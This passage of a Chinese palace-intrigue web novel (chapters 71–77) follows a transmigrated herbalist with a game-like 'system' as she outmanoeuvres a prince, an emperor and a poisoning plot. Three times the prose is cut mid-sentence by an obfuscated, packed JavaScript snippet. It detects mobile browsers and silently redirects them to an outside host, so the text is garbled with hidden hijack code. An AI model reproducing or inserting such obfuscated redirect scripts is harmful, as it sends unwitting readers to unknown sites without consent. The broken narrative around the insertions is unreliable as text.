宫门外,顾明轩负手而立,见她出来,目光深沉了几分。他唇角微扬,声音却刻意压低:绾绾当真是让朕刮目相看。 姜绾歌福身行礼,发间珠钗轻晃:托陛下的福。她抬眸时,眼中闪过一丝狡黠,淑妃那边... 已经关进冷宫了。顾明轩上前一步,龙涎香 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姜绾歌接过令牌,系统立即弹出:【御赐腰牌,可随时入宫。警告:攻略对象占有欲提升30%】。她抬眸对上顾明轩幽深的目光。 她下意识抚上腕间的玉镯,指腹触到一片灼热。自从上次系统莫名其妙升级后,这种全方位的自动检测功能就开启了。 眼前浮现出一串数据流:【心跳加速23%,瞳孔放大15%,肾上腺素激增...】 啧。她在心里暗骂一声,这破系统升级连个提示都没有。上次完成什么任务触发的这个功能?是收拾了那个想爬床的堂妹姜莲?还是整治了府里那些不安分的丫鬟? 系统冷冰冰地回应:【权限不足,无法查询升级日志。】 姜绾歌暗自翻了个白眼。不过现在不是纠结这个的时候,顾明轩那意味深长的眼神让她后背发凉。 进宫?开什么玩笑!她好不容易才把靖王府整治得清清爽爽,哪能再去那**的后宫。 第71章 谈判 顾清舟突然冷笑一声,伸手就要去抢姜绾歌袖中的令牌。姜绾歌早有防备,一个侧身躲开,却不慎碰翻了桌上的酒壶。琥珀色的酒液泼洒在青石地面上,散发出浓郁的桂花香。 王爷这是要动手?姜绾歌后退两步,腕间玉镯突然发烫,系统光幕闪烁:【检测到危险,建议启动防御模式】。 把令牌交出来!顾清舟眼中闪过一丝狠厉,你以为拿着皇兄的信物,就能威胁本王? 姜绾歌不慌不忙地从另一个袖中取出一封信:王爷不妨先看看这个。 顾清舟狐疑地接过信笺,展开一看,脸色瞬间变得煞白。 没错,是您写给秦秦姑娘的情诗。姜绾歌轻声道,真迹我已经让人送去给太上皇了。这封是抄本。 系统提示音响起:【目标心理防线崩溃度75%】。姜绾歌乘胜追击:王爷应该知道,太上皇最厌恶的就是皇室子弟与青楼女子纠缠不清。 顾清舟的手微微发抖,信纸在他指间皱成一团。他突然抬头,眼中闪过一丝异样的光芒:姜绾歌,你当真以为本王这么好拿捏? 他猛地拍手,书房暗门突然打开,两名侍卫押着一个被堵住嘴的丫鬟走了进来——正是绿竹! 绿竹!姜绾歌脸色骤变。 王妃的贴身丫鬟,昨夜偷偷去见了皇兄身边的李公公。顾清舟慢条斯理地整理着衣袖,你说,这是不是太巧了? 姜绾歌心头一紧。系统光幕急速闪烁:【警告!计划暴露风险90%】。她强自镇定:王爷这是什么意思? 本王的意思是...顾清舟突然一把扯过绿竹,和离书我可以找父皇要,但王妃得答应本王三个条件。 绿竹惊恐地挣扎着,眼泪簌簌落下。姜绾歌握紧了拳头:什么条件? 第一,药铺三成的利润归本王。顾清舟伸出三根手指,第二,王妃要帮本王在皇兄面前说情,解决醉仙楼的麻烦。他顿了顿,第三...和离后,王妃不得离开京城。 姜绾歌眯起眼睛。系统快速分析着:【条件一可接受,条件二有风险,条件三不可接受】。 前两条可以商量。她冷声道,第三条不行。 那就没得谈了。 顾清舟的手指刚要碰到绿竹的脖颈,姜绾歌突然轻笑一声,从袖中取出一卷羊皮纸,在烛光下缓缓展开。 王爷不如先看看这个? 顾清舟的视线落在羊皮纸上,瞳孔骤然紧缩——那是一张靖王府私兵的布防图,连最隐秘的暗哨位置都标注得一清二楚。 你…...他的声音卡在喉咙里。 永昌三年春,王爷在城西购置了三处宅院。姜绾歌指尖轻点图纸,表面上是养外室,实则在宅下挖了地窖,囤积兵器。 系统光幕闪烁:【目标心率上升至120】。 顾清舟的喉结滚动了一下,眼神由震惊转为怀疑:一张破纸就想唬住本王?他冷笑一声,手上力道又加重几分,谁知道这是不是你随手画的? 王爷可以不信。姜绾歌不慌不忙地从腰间锦囊取出一本账簿,那这个呢?去年王爷通过漕帮走私的铁器清单,上面可盖着王爷的私印。 顾清舟的呼吸明显一滞,掐着绿竹的手松了几分。他的目光在账簿和图纸间来回游移,额角渗出细密的汗珠。 假的...都是假的...他喃喃自语,却更像是在说服自己。 姜绾歌见状,又添一把火:对了,南山那三百死士,最近伙食可好?听说王爷特意从江南请了厨子? 这句话如同最后一击,顾清舟猛地松开绿竹,踉跄着后退两步撞在书架上。他的眼神从震惊到恐惧,最后定格在一片死灰上。 你想要什么?他的声音嘶哑得不成调,每个字都像是从牙缝里挤出来的。 姜绾歌看着眼前颓败却仍带着几分不甘的顾清舟,心中冷笑,面上却神色平静地说道:“王爷,你既敢算计我,就该想到今日。别想着我会帮你解决醉仙楼的麻烦,那是你自己惹的祸,与我无关。至于药铺的利润,一分都不会给你。” 顾清舟眼中闪过一丝怨毒,咬牙切齿地说:“姜绾歌,你别太过分!你以为抓住我的把柄,就能为所欲为?” 姜绾歌微微眯起眼睛,向前走了两 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这是今早李公公送来的。姜绾歌俯身捡起地上皱巴巴的情诗抄本,王爷以为,父皇看到这份与靖王府私兵布防图放在一起的证据,会作何感想? 系统提示音再度响起:【目标心理防线崩溃度98%】。顾清舟突然跌坐在太师椅上,冷汗浸透了后背的绸缎。他终于明白,姜绾歌从一开始就没想过要和离——她要的,是将他逼入绝境。 一个月。姜绾歌突然开口,打断了他混乱的思绪,给你三个月处理私兵和走私的烂摊子。现在你要是让绿竹若少一根头发,我就让这些证据出现在早朝的奏疏里。 顾清舟猛地抬头,眼中闪过最后一丝不甘:和离书...你不要了? 和离?姜绾歌轻蔑一笑,转身整理被酒液弄脏的裙摆,等你把脑袋保住再说吧。哦对了, 她在门口顿住,侧眸时眼底尽是寒意,城西地窖的**,我让人重新布置了引线——王爷若是想销毁证据,最好先掂量掂量。 门重重关上,顾清舟盯着空荡荡的书房,终于听见自己牙齿打颤的声音。 第72章 太后生病 暮春的惊雷碾过紫禁城上空,天空阴沉沉的,眼看就要下雨。 太后正坐在养心殿里喝茶,突然觉得胸口一阵发闷,紧接着就剧烈咳嗽起来。 她脸色变得青紫,手指紧紧抓着椅子扶手,桌上的茶盏啪嗒一声摔在地上,茶水溅得到处都是。 快来人!传太医!李嬷嬷急得大喊,带着宫女们手忙脚乱地围过来。太后难受得说不出话,只能大口喘气,嘴角还渗出一丝血迹。整个宫殿乱成一团,熏香打翻了,烟雾混着血腥味,让人喘不过气。 太医院院正王鹤龄跑得满头大汗赶来,立刻给太后把脉。他皱着眉头说:这是风邪入体,心气不足。可连着换了七八个太医,开了一堆药方,太后喝了药却越来越严重。 有人说要喝补药,有人说要喝清热的药,大家吵得不可开交,谁也拿不定主意。 这时候,李嬷嬷突然想起:靖王妃前些日子不是治好了诰命夫人的头疼毛病吗?还救了脸过敏的长公主。要不把她请来试试? 胡闹!王鹤龄吹胡子瞪眼,一个王妃懂什么医术?太后的病能随便让外人看吗?可他看着床上昏迷的太后,手里的笔怎么也写不出药方——他心里也没底,再拖下去可怎么办? 雨越下越大,噼啪打在瓦片上。李公公骑着快马,一路狂奔到姜府。 姜绾歌正在院子里晒草药,听说太后病重,手腕上的蝴蝶图案突然发烫。她知道,系统又在提醒她有危险任务了。 坐上马车时,车轮碾过积水,溅起一片水花。姜绾歌紧紧抱着药箱,心里盘算着该怎么治病。马车跑得飞快,不一会儿就到了紫禁城。养心殿前站满了侍卫,气氛紧张得让人喘不过气。 李公公掀开帘子,急得直跺脚:王妃快请,太后已经昏迷半个时辰了!姜绾歌快步走进殿内,就闻到一股浓浓的药味。太医们还在争论不休,王鹤龄手里捏着张药方,脸色比哭还难看。 太后躺在床上,脸色灰白,胸口只有微弱的起伏。姜绾歌挤开众人,伸手给太后把脉。她手腕上的玉镯烫得厉害,脑海里响起系统的警报声:病人情况危急!得赶紧想办法! 拿冰帕来!姜绾歌大声下令,再准备麝香、三七粉,用童子尿冲开!周围的人都吓了一跳,一个太医跳出来喊:麝香会伤胎气,你这是要害太后!姜绾歌没理他,用火把把银针烧红,找准穴位就扎了下去。 这时候,顾清舟冒雨冲了进来,浑身湿透。姜绾歌,你在干什么!他伸手要拉人,姜绾歌一把甩开:别捣乱!想救太后就闭嘴!她盯着太后的脸色,把调好的药一点一点灌进太后嘴里。 殿里安静得可怕,只能听见铜漏计时的滴答声。也不知道过了多久,太后突然剧烈咳嗽,吐出一大口黑血。姜绾歌赶紧用温水给她擦嘴,又把冷毛巾敷在额头上。她转头吩咐宫女:去熬山楂荷叶茶,水温不能太烫,每半个时辰喂一次。 接下来的三天,姜绾歌几乎没合眼。她守在太后床边,随时观察病情,调整药方。终于,太后慢慢醒了过来。她靠在软垫上,看着忙前忙后的姜绾歌:你这丫头,用的什么怪法子?又是扎针又是喝奇怪的药。 姜绾歌从香炉里挑出半粒黑药丸:太后,您一直用的龙涎香有问题,里面掺了西域的曼陀罗。李公公吓得直接跪在地上,脸色惨白:这...这香是三日前太子殿下进贡的... 太后摸着翡翠护甲的手停住了,眼神变得冰冷。姜绾歌趁机递上写好的调养方子:想要彻底好起来,以后不能再用这种香,每天要喝山楂茶,还要配合艾灸。 七日后,宫宴上灯火通明,丝竹声中却暗藏着紧张的气氛。太子垂着头站在殿中央,额角沁出细密的汗珠。当太监尖着嗓子宣读太子因误献毒香,罚俸三年,闭门思过的旨意时,满座哗然。姜绾歌坐在席上,望着太子仓皇退下的背影,轻轻转动腕间新得的赤金护甲——那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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果然,三日后早朝,王鹤龄联名十几个太医上奏,说姜绾歌妖言惑众,擅改太医院药方。朝堂上吵得不可开交时,太后突然驾到。她扫了眼跪在地上的太医们,冷笑:你们治不好哀家的病,现在倒会咬人了? 说着,她示意宫女端上个匣子,里面整整齐齐码着这几日的药渣:看看,全是温补的药!要不是姜王妃,哀家这条老命早没了!太后转头看向皇帝,皇帝,哀家觉得,太医院该好好整顿整顿了。 不久后,太医院来了场大换血,王鹤龄被降了职。 第74章 吃味 姜绾歌被他困在药柜与胸膛之间,鼻尖萦绕着他身上清冽的龙涎香,混着淡淡的朱砂墨气。 她微微偏头,避开他灼热的呼吸,指尖却无意识地攥紧了袖口。 系统仍在疯狂警报:【警告!目标情绪波动剧烈!】 陛下这是做什么?她嗓音微冷,却因他拇指摩挲她腕间的动作而轻颤,若是让外人瞧见,怕是要说臣妇不守妇道。 顾铭轩伸手轻轻捏住她的下巴,迫使她直视自己,低声道:“朕是天子,想见谁便见谁,谁敢多嘴?” 他的指尖温热,语气却不容置疑,“更何况……朕想你了。” 姜绾歌心跳漏了一拍,还未开口,便被他揽入怀中。 殿内静谧,只余彼此的呼吸声交织。她忍不住小声嘟囔:“……真是越来越不讲理了。” 忽然,她转念一想,忽而扯唇笑了:陛下这是……在吃醋? 顾铭轩眸光一沉,指节蓦地收紧:朕若是吃醋,王妃待如何? 不如何。她轻巧地侧身,从他臂弯间滑出,指尖顺势拂过他腰间的玉佩,只是陛下贵为天子,何必与一个药铺较劲? 她话里有话,顾铭轩岂会听不出? 他一把扣住她的手腕,将她重新拽回身前,力道大得她踉跄了一下,险些撞进他怀里。 姜绾歌。他嗓音低哑,带着几分危险的意味,朕给了你铺子,给了你自由,不是让你躲着朕的。 姜绾歌抬眸,与他四目相对。 她忽然觉得好笑——堂堂帝王,竟像个得不到糖的孩子似的,在这儿跟她较劲。 陛下。她轻叹一声,指尖抵在他胸口,微微推开几分距离,您想要的,到底是什么? 顾铭轩眸光微暗,指腹抚过她的唇瓣,嗓音低哑:你说呢? 姜绾歌心头一跳,却故作镇定地别开脸:臣妇愚钝,猜不透圣意。 愚钝?他嗤笑一声,忽然俯身,薄唇几乎贴上她的耳垂,那朕说得再明白些—— 朕要你。 三个字,低沉而清晰,带着不容拒绝的强势。 姜绾歌呼吸微滞,系统警报声几乎刺破耳膜:【警告!目标占有欲指数飙升!】 她强压下心跳,故作轻松地笑了:陛下,强扭的瓜不甜。 甜不甜,尝过才知道。他眸色渐深,指尖捏住她的下巴,迫使她抬头看他,还是说……王妃心里,另有其人? 姜绾歌一怔,疑惑的看着顾铭轩:“你这是什么意思?” 顾铭轩眼底翻涌着暗色,声音却轻得危险:那辆镶金马车,车里的人...是谁? 姜绾歌心头猛跳。他竟然注意到了霁月楼的马车?但听这语气,似乎并不知晓车内人的身份。 系统光幕急速分析:【目标信息掌握度:30%,仅观察到表面现象】 她轻笑一声,指尖点了点他的胸膛:陛下说的是那辆白马拉的车?臣妇还以为是哪位贵人的...…陛下多虑了,臣妇心里……她故意拖长了音调,只有药材和银子。 顾铭轩眸光一沉,显然不信。 是吗?他嗓音微冷,那霁月楼的马车,为何日日停在你药铺外? 姜绾歌心头一跳,面上却不显:生意往来罢了,陛下连这也要管? 朕管定了。他忽然扣住她的腰,将她抵在药柜上,眸光锐利如刀,姜绾歌,你记住。 你是朕的人,从头到脚,每一寸都是。 他的气息灼热,喷洒在她颈侧,激起一阵战栗。 姜绾歌心跳如擂,却强撑着镇定,抬眸与他对视:陛下,强取豪夺这套,对现代人没用。 现代人?顾铭轩眯起眼,什么意思? 姜绾歌这才意识到失言,迅速改口:意思是,臣妇不吃这套。 顾铭轩盯着她看了半晌,忽然笑了。 好,很好。他指腹摩挲着她的唇瓣,嗓音低哑,那朕换个方式。 姜绾歌,朕给你三日。 三日后,你若不来见朕,朕便拆了你这药铺。 说罢,他松开她,转身大步离去,玄色衣袍在风中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777464|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翻飞,背影凌厉如刀。 姜绾歌站在原地,指尖无意识地抚过被他捏红的下巴,心跳仍未平复。 系统光幕闪烁:【任务更新:应对帝王占有欲,奖励:未知】 她深吸一口气,望向窗外——霁月楼的马车仍停在街角,车帘微动,似有人影窥视。 啧,麻烦。她揉了揉太阳穴,低声喃喃,一个两个的……” 姜绾歌指尖轻敲柜台,药铺外霁月楼的马车依旧纹丝不动。系统光幕突然闪烁:【检测到异常能量波动,来源:马车内部】。 青柠。她突然扬声,把今日新到的雪莲取来。 待丫鬟退下,姜绾歌状似无意地整理药材,实则借着药柜遮挡,迅速从系统空间取出一个琉璃小瓶。瓶中液体泛着诡异的蓝光——这是她前日刚合成的傀儡香,能让人在三个时辰内言听计从。 王妃好雅兴。 阴柔的嗓音突然在身后响起,姜绾歌手腕一抖,琉璃瓶差点脱手。转身时,月白锦袍的男子已无声无息站在药碾旁,**骨扇轻摇,正是霁月楼主。 楼主倒是神出鬼没。她将小瓶滑入袖中,面上不显分毫慌乱。 顾某忽然用扇骨挑起她腰间玉佩——那是顾铭轩方才落下的。看来陛下,对王妃很是上心啊。 姜绾歌劈手夺回玉佩,却见对方袖中滑出一物。羊脂白玉佩上,血色纹路竟与她系统界面如出一辙。 三更天,醉仙楼。他俯身在她耳边轻语,冷香里混着血腥气,若想保住你的小秘密…… 姜绾歌抬眸直视霁月楼主:“楼主这是在威胁我?” 霁月楼主轻笑一声,收起扇子,目光在她脸上游移:“不敢,只是想与王妃做笔交易。” 姜绾歌心中冷笑,面上却佯装思索:“什么交易,值得楼主这般大费周章?” 霁月楼主瞥了眼药铺外,压低声音道:“听闻王妃有奇药,能解世间疑难杂症。我有一位挚友,身中奇毒,遍寻名医无果。若王妃能出手相助,霁月楼愿分王妃一成股。” 第75章 霁月楼楼主 姜绾歌沉思片刻,霁月楼势力庞大,一成股意味着极大的助力与资源。 “楼主怎知我一定有办法?再者,你我素未谋面,为何认定我会答应?”姜绾歌挑眉问道。 霁月楼主眼中闪过一丝眸色:“王妃的医术名动京城,且我观王妃并非寻常女子,定有奇法。至于答应与否,王妃应该不想让陛下知道,你那些……不为人知的秘密吧?” 姜绾歌抬眼直视对方,张口反问:“我有哪些不为人知的秘密?你但说无妨。” 霁月楼主微微一怔,似是没料到她会如此反问。 他盯着姜绾歌看了片刻,嘴角勾起一抹意味深长的笑:“王妃何必揣着明白装糊涂。就比如王妃的药铺,看似寻常,却总能拿出一些连太医院都未曾见过的药材与药方,这背后难道没有什么秘密?又或者……” 他目光落在姜绾歌腰间,那里挂着一个精致的锦囊,“王妃锦囊中的物件,似乎也透着不寻常,不知我说得可对?” 寒意窜上姜绾歌后颈,她垂眸掩去眼底波动,指尖无意识摩挲袖边,抬眼时神色如常:“楼主仅凭这些就断定我有秘密?药材与药方是我多年游历所得,至于锦囊,不过是些寻常物。” 霁月楼主轻笑:“是吗?看来王妃是不见棺材不落泪。也罢,三日后醉仙楼,还望王妃带着解药前来,否则……” 他话未说完,却已威胁之意尽显。说罢,他身形一闪,消失在药铺之中。 姜绾歌看着他消失的方向,眉头紧皱。系统光幕闪烁:【警告!霁月楼可能存在更大阴谋,建议宿主谨慎行事】。 “还用你说。”姜绾歌低声嘟囔。她深知此事棘手,不仅要应对霁月楼,还要在三日内安抚好顾铭轩,否则药铺真有被拆的风险。 姜绾歌攥紧衣角深吸口气,抬腿直奔顾铭轩住处。 再不解决这场醋海风波,迟早被他的占有欲逼进死胡同。 夕阳落尽时,姜绾歌扯下簪子打散头发,裹上灰布斗篷溜进皇宫侧门。 李公公佝偻着背在前头引路,她踩着宫墙阴影,七拐八绕摸到御书房廊下。 顾铭轩正在批阅奏折,见她进来,眼神一冷,手中朱笔不停:“绾绾倒是难得主动,可是想通了?” 姜绾歌福身行礼,上前几步:“陛下,臣妇今日来,是想与陛下说清楚。” 顾铭轩放下朱笔,靠在椅背上,挑眉看着她:“说清楚?说清楚什么?是说清楚你与霁月楼的关系,还是说清楚,你为何躲着朕?” 姜绾歌深吸一口气:“陛下,霁月楼不过是与药铺有些生意往来,并无其他。至于躲着陛下……” 她抬眸,直视顾铭轩的眼睛,眼中满是真诚,“臣妇只是忙于药铺事务,并无躲着陛下之意。” 顾铭轩盯着她看了半晌,忽然起身,走到她面前:“当真?” 姜绾歌点头:“陛下若不信,可派人去查。” 顾铭轩伸手,轻轻抚过她的脸颊:“绾歌,朕不想与你兜圈子。朕要的,只是你的真心。” 姜绾歌指尖轻轻拨开顾铭轩的手,后退半步拉开距离:陛下的真心太重,臣妇的心可承不起。 她转身抚过御书房案上的青瓷笔洗,釉面映出帝王微沉的面色,臣妇今日来,是想请陛下收回三日后拆铺的旨意。 就为这个?顾铭轩冷笑一声,袖中龙纹暗绣随着动作翻涌,姜绾歌,你当朕的话是儿戏? 他欺身上前,将她困在书案与胸膛之间,温热呼吸扫过她耳后,要么交出真心,要么…… 要么臣妇用医术抵债。姜绾歌突然转身,指尖精准点住他腕间穴位。 顾铭轩动作一滞,诧异地看着她从袖中掏出个银针包,太医院没告诉你?陛下近日心火过旺,再不调理可要伤及龙体。 不等对方反应,她已捻起银针扎向他曲池穴,手法利落得像在药圃修剪枯枝。顾铭轩眉头骤皱,却被她按住肩膀动弹不得:别动,这针若是歪了,臣妇可担不起弑君的罪名。 殿内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777465|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烛火摇曳,银针在姜绾歌指间泛着冷光。 顾铭轩望着她低垂的睫毛,见她指尖搭脉认真计数,突然发现,这个总与自己作对的女人,专注时竟比御书房的夜明珠还要夺目。 好了。姜绾歌收起银针,从怀中掏出个瓷瓶倒出药丸,每日一粒,连服七日。 她忽然凑近,温热气息拂过他耳畔,陛下若是还想拆铺,臣妇明日就把药方献给太医院,让全京城都知道皇上为情所困,连太医都医不好。 威胁的话语却让顾铭轩心头一颤。他扣住她手腕,却见她反手将瓷瓶塞进自己掌心:臣妇该走了,药铺新进的沉香还等着炮制。 姜绾歌转身要走,衣袂却被勾住。顾铭轩指尖缠绕着她飘落的发丝,声音低哑:绾绾,你就这般无情? 陛下误会了,臣妇只是个生意人,比起真心,更看重药材账本。她屈膝行礼,若陛下无事,臣妇告退。 脚步声渐渐远去,顾铭轩握着药丸站在原地。 他忽然将药丸抛入口中,苦涩滋味在舌尖散开,却不及心口泛起的酸涩。 秋雨淅淅沥沥地敲打着太医院的青瓦,王鹤龄蜷缩在杂役房的角落,盯着手中那张降职文书。 文书上医术不精,贬为药童的朱批刺得他双眼生疼,耳边不断回响着三日前姜绾歌当众指出他误诊时,满殿太医的窃窃私语。 他攥紧文书,指甲深深掐进掌心:姜绾歌...我定要你付出代价! 雨夜里,赵府书房的烛火摇曳。赵德权捏着王鹤龄的拜帖,神色阴沉如水。 自从淑妃被打入冷宫,他这个国舅爷在朝堂上的地位一落千丈。 而这一切,都是因为那个突然冒出来的姜绾歌!若不是她治好太后,揭穿淑妃下毒的阴谋,妹妹又怎会沦落到如此田地? 大人,小人愿为您效犬马之劳!王鹤龄扑通一声跪在地上,那姜绾歌绝非寻常医女!她救治太后时,用的针法古怪至极,还拿出个会发光的匣子,里面的药粉闻所未闻! 第76章 淑妃的兄长找茬 赵德权猛地拍案而起:好!只要能扳倒她,本侯爷亏待不了你!他眼中闪过狠厉,先从她的药铺下手,让她知道得罪本侯爷的下场! 翌日,姜绾歌正在药铺整理药材。新送来的当归包散发出浓郁的香气,她熟练地拆开麻绳,突然一张泛黄纸条飘落。 识相点就滚出京城,否则...潦草的字迹还带着墨香,透着赤裸裸的威胁。 系统警报声骤然响起:【检测到危险!未知势力介入!】 姜绾歌捏着纸条的指节发白,却反手塞进袖袋。她转身整理药匣,目光掠过正在抓药的妇人、试脉的老者…… 正想着,一阵嚣张的脚步声传来。赵德权带着几个家丁大摇大摆地走进药铺,皮靴重重踩在青石板上:听说姜姑娘的药铺治病救人,本侯爷今日倒要看看,是不是徒有虚名! 系统突然发出尖锐警报:【检测到危险人物!目标:赵德权,淑妃兄长,对宿主存在强烈敌意】。 她的手指在药匣边缘微微一顿,不着痕迹地打量着这个陌生男人——他眼神阴鸷,正盯着自己冷笑,袖口金线绣着的缠枝莲纹随着动作若隐若现。 姜绾歌抬起头,嘴角勾起一抹淡淡的笑:赵大人光临,有何贵干?她暗中握紧藏在袖中的银针,系统界面在眼前闪烁,不断分析着赵德权的表情和语气。 本侯爷这几日头疼得厉害,听闻姜姑娘医术高超,不如给本侯爷瞧瞧?赵德权斜睨着她,眼中满是挑衅。 姜绾歌示意他坐下,指尖搭上他的脉搏。脉象平稳有力,根本没有任何病症。她心中冷笑,面上却不动声色:大人这是肝火旺盛,思虑过度。我开几副疏肝理气的药,大人服下便好。 哼!赵德权突然一把拍开她的手,你当本侯爷是傻子?随便开几副药就想打发我?我看你根本就是医术不精,沽名钓誉! 药铺里的顾客纷纷投来好奇的目光。姜绾歌深吸一口气,压下心中的怒意:赵大人若是不信,大可去太医院找其他太医诊断。但若在这里无理取闹,可就别怪我不客气了。 赵德权愣了一下,没想到她竟敢如此强硬。他脸色涨得通红,正要发作,姜绾歌却已经转身开始抓药:这是给大人开的药,记得每日两次,用温水送服。 等赵德权气冲冲地离开,姜绾歌才松了口气。系统提示还在闪烁:【危险等级持续上升!建议尽快查明对方目的!】 当夜,姜绾歌换上便服,来到隔壁的茶馆。王大爷正在柜台后面算账,见她来了,连忙招呼:姜姑娘,快坐快坐! 王大爷,最近可听到什么风声?姜绾歌递上一锭银子,关于赵德权的。 王大爷四下看了看,压低声音说:不瞒姑娘,这赵德权最近和几个江湖人士来往密切,还在城西租了个仓库。听说是要搞什么大动作... 姜绾歌眉头紧锁,又问了几个问题,将线索一一记在心里。 离开茶馆时,秋雨又下了起来。她撑着伞走在青石巷中,思绪却一刻也不停:赵德权到底在谋划什么? 回到药铺,她打开系统商城,用积攒的积分兑换了几个**器。第二日,她借着给街坊邻居义诊的机会,将**器悄悄安置在赵府附近。 一天后的深夜,系统突然发出紧急提示:【检测到重要情报!赵德权计划明日往药铺投放**,栽赃嫁祸!】 姜绾歌猛地从床上坐起,眼中闪过一丝寒光。她握紧拳头,在房间里来回踱步。 该如何应对?直接揭穿太冒险,赵德权肯定会矢口否认。不如...将计就计! 她嘴角勾起一抹冷笑,打开药柜,取出珍藏的特殊药材。今夜,她要让赵德权偷鸡不成蚀把米! 姜绾歌摸出系统兑换的镊子,夹起琉璃瓶中的假死药粉末。 窗外惊雷炸响,照亮她映在墙上的剪影——左手快速调配解药,右手将假死药分装成二十个油纸包。 当第一缕晨光爬上屋檐时,她把替换后的药包码进最底层的药 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777466|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柜,金属柜门关闭时发出轻响。 卯时三刻,赵德权的马车碾过青石板。姜绾歌站在柜台后擦拭药罐,看着家丁将混毒的药材搬进库房。 她指甲掐进掌心,等脚步声远去才闪进仓库,迅速完成调包。转身时撞上木架,药斗哗啦啦摇晃,她屏息听着外面动静,直到确认无人察觉才长舒一口气。 巳时,第一个**者撞开药铺大门。那人翻着白眼抽搐,姜绾歌冲过去按住他手腕,藏在指缝间的解药顺势抹进对方掌心:快取银针!她余光瞥见赵德权带着衙役堵在门口,嘴角扬起不易察觉的弧度。当第七个死者被抬上担架时,赵德权终于按捺不住:姜绾歌!你还有何话说? 赵大人稍安勿躁。姜绾歌扯开死者衣领,指尖在穴位连点三下。那人突然剧烈咳嗽,吐出一滩黑水。她举起沾着药渣的帕子冷笑:这药里掺的鹤顶红,与赵府库房失窃记录上的分量,倒是分毫不差。 赵德权脸色骤变,却强撑着道:一派胡言!话音未落,王鹤龄从衙役队伍里冲出来:大人!这女人会妖术!姜绾歌突然抓住他手腕,银针闪电般扎入虎口:你脉象虚浮,印堂发黑,莫不是中了自己下的毒?王鹤龄惨叫着瘫倒在地,怀里掉出半块写着事成付银千两的契约,墨迹未干。 衙役们围上来查看时,姜绾歌已退到窗边。系统突然发出刺耳警报,她转头看见赵德权的家丁抽出短刀。千钧一发之际,一队金吾卫破门而入,为首将领亮出金牌:奉陛下口谕,缉拿谋逆之人! 赵德权的脸色瞬间惨白。姜绾歌望着他被拖走的背影,摸了摸藏在袖中的**器。 她去仓库是为了将赵德权派人送来的掺**材,替换成自己准备的假死药。 此前姜绾歌通过系统得知赵德权计划在药铺投放**栽赃,为了反制这个阴谋,她提前准备假死药,趁家丁放好药材离开的间隙,争分夺秒完成药包调换,既能让赵德权的栽赃计划落空,还能借此机会反将一军,揭露其阴谋。 第77章 赵家被贬 赵德权被金吾卫拖走后,京城风云骤起。 淑妃已被打入冷宫,赵德权又因谋逆下狱,此二事于朝堂之上掀起轩然大波。 御书房内,烛火将皇帝的影子投在龙纹屏风上,随着他重重摔下**奏章而剧烈晃动:“赵家接连生事,众卿且说,当如何处置?” “陛下!”左都御史王大人跨步出列,笏板叩地声响彻殿内,“赵德权往药铺**,若不是药铺伙计机警,不知多少百姓要遭殃!淑妃在后宫勾结外臣,干预朝政!此等恶行,背后必有赵崇山纵容!恳请即刻抄家问罪!” “草率!”镇国将军李大人急得满脸通红,腰间佩剑撞出清响,“赵崇山是三朝元老,劳苦功高。仅凭几封书信、些许物证,便要抄家灭族?这分明是有人想借题发挥!” 礼部侍郎冷笑着展开一卷文书:“李将军请看!药铺搜出的**与赵德权私宅中的毒物成分相同,淑妃宫中密信提及‘一切听将军府安排’。这难道也是冤枉?” “就算赵德权、淑妃犯错,也不可牵连赵崇山!”李大人梗着脖子争辩。 皇帝抬手止住争吵,眉头拧成川字:“赵崇山虽为元老,但律法在前。” 他扫视群臣,目光如炬,“先将赵崇山暂免官职,软禁府中,待三法司彻查清楚,再做定夺。若真有谋逆之举,朕绝不姑息!” 退朝时,王大人望着李大人远去的背影,低声对同僚道:“三法司早有实据,赵家这次,插翅难逃。” 夜色渐浓,赵府门前的灯笼在风中摇晃,赵崇山得知消息,又惊又怒。 在官场沉浮多年,他怎会不知此事的严重性,若处理不当,赵家百年基业将毁于一旦。 他迅速暗中安排,心腹家人各有其责,将赵家能转移的财产,通过错综复杂的商路与钱庄,悄然分散至各地隐秘之处。 人脉资源也一一部署妥当,那些往日受赵家恩惠的官员、商贾,皆收到密信,嘱咐他们暂避风头,等待时机。 一番紧锣密鼓的操作后,他才身着朝服,神色凝重地踏入御书房。 见到皇上,赵崇山不卑不亢地跪地行礼:“陛下,老臣前来,是为犬子与小女之事。”声音沉稳,带着三朝元老独有的底气。 